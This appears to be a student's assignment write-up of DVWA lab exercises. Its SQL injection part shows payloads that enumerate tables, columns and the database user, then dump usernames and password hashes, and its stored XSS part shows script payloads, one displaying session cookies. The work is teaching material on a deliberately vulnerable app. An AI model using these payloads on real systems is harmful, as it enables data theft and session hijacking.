


ASSIGNMENT – 7

Q-1) SQL Injection

➤ Print user's name:

- Input "1" into the text box and then click Submit



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

ID: 1
First name: admin
Surname: admin

More Information

- <https://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>


Username: admin
Security Level: low

View Source

View Help

➤ Always true scenario:

- Input `%' or '0'='0` into the text box and then click Submit



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: `%' or '0'='0`
First name: admin
Surname: admin

ID: `%' or '0'='0`
First name: Gordon
Surname: Brown

ID: `%' or '0'='0`
First name: Hack
Surname: Me

ID: `%' or '0'='0`
First name: Pablo
Surname: Picasso

ID: `%' or '0'='0`
First name: Bob
Surname: Smith

More Information

- <https://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>


Username: admin
Security Level: low

View Source

View Help

➤ Display Database User

- Input **%'** or **0=0 union select null, user() #** into the text box and then click Submit



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: %' or 0=0 union select null, user() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, user() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, user() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, user() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, user() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, user() #
First name:
Surname: dvwausr@localhost

More Information

- <https://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>


Username: admin
Security Level: low

View Source

View Help

➤ Display Database Version

- Input **%'** or **0=0 union select null, version() #** into the text box and then clickSubmit



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

Submit

ID: %' or 0=0 union select null, version() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, version() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, version() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, version() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, version() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, version() #
First name:
Surname: 10.5.12-MariaDB-1

More Information

- <https://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>


Username: admin
Security Level: low

View Source

View Help

➤ Display Database Name

- Input **%' or 0=0 union select null, database() #** into the text box and then click Submit



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

ID: %' or 0=0 union select null, database() #
First name: admin
Surname: admin

ID: %' or 0=0 union select null, database() #
First name: Gordon
Surname: Brown

ID: %' or 0=0 union select null, database() #
First name: Hack
Surname: Me

ID: %' or 0=0 union select null, database() #
First name: Pablo
Surname: Picasso

ID: %' or 0=0 union select null, database() #
First name: Bob
Surname: Smith

ID: %' or 0=0 union select null, database() #
First name:
Surname: dvwa

More Information

- <https://www.securiteam.com/securityreviews/5DP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>

Username: admin
Security Level: low

➤ Display all tables in information_schema

- Input `%' and 1=0 union select null, table_name from information_schema.tables #` into the text box and then click Submit

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: SQL Injection

User ID:

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: ALL_PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: APPLICABLE_ROLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: CHARACTER_SETS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: CHECK_CONSTRAINTS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLLATIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLLATION_CHARACTER_SET_APPLICABILITY

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLUMNS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: COLUMN_PRIVILEGES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: ENABLED_ROLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: ENGINES

```
ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: EVENTS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: FILES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: GLOBAL_STATUS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: GLOBAL_VARIABLES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: KEYWORDS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: KEY_CACHES

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: KEY_COLUMN_USAGE

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: OPTIMIZER_TRACE

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: PARAMETERS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: PARTITIONS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: PLUGINS

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: PROCESSLIST

ID: %' and 1=0 union select null, table_name from information_schema.tables #
First name:
Surname: PROFILING
```

➤ Display all the columns fields in the information_schema user table

- Input `%' and 1=0 union select null, concat (table_name, 0x0a, column_name) from information_schema.columns where table_name ='users' #` into the text box and then click Submit

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

DVWA

Vulnerability: SQL Injection

User ID:

Submit

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
user_id

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
first_name

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
last_name

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
user

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
password

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
avatar

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
last_login

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
failed_login

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
failed_login

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
CURRENT_CONNECTIONS

ID: '%' and 1=0 union select null, concat(table_name,0x0a,column_name) from information_schema.columns where table_name = 'users' #
First name:
Surname: users
TOTAL_CONNECTIONS

More Information

- <https://www.securiteam.com/securityreviews/SDP0N1P76E.html>
- https://en.wikipedia.org/wiki/SQL_injection
- <https://www.netaparker.com/blog/web-security/sql-injection-cheat-sheet/>
- https://owasp.org/www-community/attacks/SQL_injection
- <https://bobby-tables.com/>


Username: admin
Security Level: low
Locale: en
PHPIDS: disabled

View Source

View Help

➤ Display all the columns field contents in the information_schema user table

- Input `%'` and `1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users#` into the text box and then click Submit



[Home](#)
[Instructions](#)
[Setup / Reset DB](#)

[Brute Force](#)
[Command Injection](#)
[CSRF](#)
[File Inclusion](#)
[File Upload](#)
[Insecure CAPTCHA](#)
[SQL Injection](#)
[SQL Injection \(Blind\)](#)
[Weak Session IDs](#)
[XSS \(DOM\)](#)
[XSS \(Reflected\)](#)
[XSS \(Stored\)](#)
[CSP Bypass](#)
[JavaScript](#)

[DVWA Security](#)
[PHP Info](#)
[About](#)
[Logout](#)

Vulnerability: SQL Injection

User ID:

```
ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: admin
admin
admin
5f4dcc3b5aa765d61d8327deb882cf99

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Gordon
Brown
gordonb
e99a18c428cb38d5f260853678922e03

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Hack
Me
1337
8d3533d75ae2c3966d7e0d4fcc69216b

ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Pablo
Picasso
pablo
0d107d09f5bbe40cade3de5c71e9e9b7


ID: '%' and 1=0 union select null, concat(first_name,0x0a,last_name,0x0a,user,0x0a,password) from users #
First name:
Surname: Bob
Smith
smithy
5f4dcc3b5aa765d61d8327deb882cf99
```

More Information

Q-2) XSS (Cross Site Scripting)

TEST: 1

- Name: Test 1
- Message: `<script>alert("hello")</script>`



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Test 1

Message *

`<script>alert("hello")</script>`

Sign Guestbook

Clear Guestbook

Name: test

Message: This is a test comment.

Name: Test 1

Message:

More Information

- <https://owasp.org/www-community/attacks/xss>
- <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- https://en.wikipedia.org/wiki/Cross-site_scripting
- <http://www.cgisecurity.com/xss-faq.html>
- <http://www.scriptalert1.com/>

Username: admin

Security Level: low

View Source

View Help


cs.triple5.tech says

hello

OK

TEST: 2

- Name: Test 2
- Message: <iframe src="http://wikipedia.org"></iframe>



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Test 2

Message *

<iframe src="http://wikipedia.org"></iframe>

Sign Guestbook

Clear Guestbook

Name: test

Message: This is a test comment.

More Information


- <https://owasp.org/www-community/attacks/xss>
- <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- https://en.wikipedia.org/wiki/Cross-site_scripting
- <http://www.cgisecurity.com/xss-faq.html>
- <http://www.scriptalert1.com/>

Username: admin

Security Level: low

View Source

View Help



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook


Clear Guestbook

Name: test

Message: This is a test comment.

Name: Test 2

Message:



WIKIPEDIA

The Free Encyclopedia

EN

Q

More Information

- <https://owasp.org/www-community/attacks/xss>
- <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- https://en.wikipedia.org/wiki/Cross-site_scripting
- <http://www.cgisecurity.com/xss-faq.html>
- <http://www.scriptalert1.com/>

Username: admin


Security Level: low

View Source

View Help

TEST: 3

- Name: Test 3
- Message: `<script>alert(document.cookie)</script>`



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Test 3

Message *

`<script>alert(document.cookie)</script>`

Sign Guestbook

Clear Guestbook

Name: test

Message: This is a test comment.

Name: Test 3

Message:

More Information

- <https://owasp.org/www-community/attacks/xss>
- <https://owasp.org/www-community/xss-filter-evasion-cheatsheet>
- https://en.wikipedia.org/wiki/Cross-site_scripting
- <http://www.cgisecurity.com/xss-faq.html>
- <http://www.scriptalert1.com/>

cs.triple5.tech says

security=low; PHPSESSID=bjtomoug7ab4qild8a1trle21

OK

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

CSP Bypass

JavaScript

DVWA Security

PHP Info

About

Logout

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

Sign Guestbook

Clear Guestbook

Name: test

Message: This is a test comment.

Name: Test 3

Message: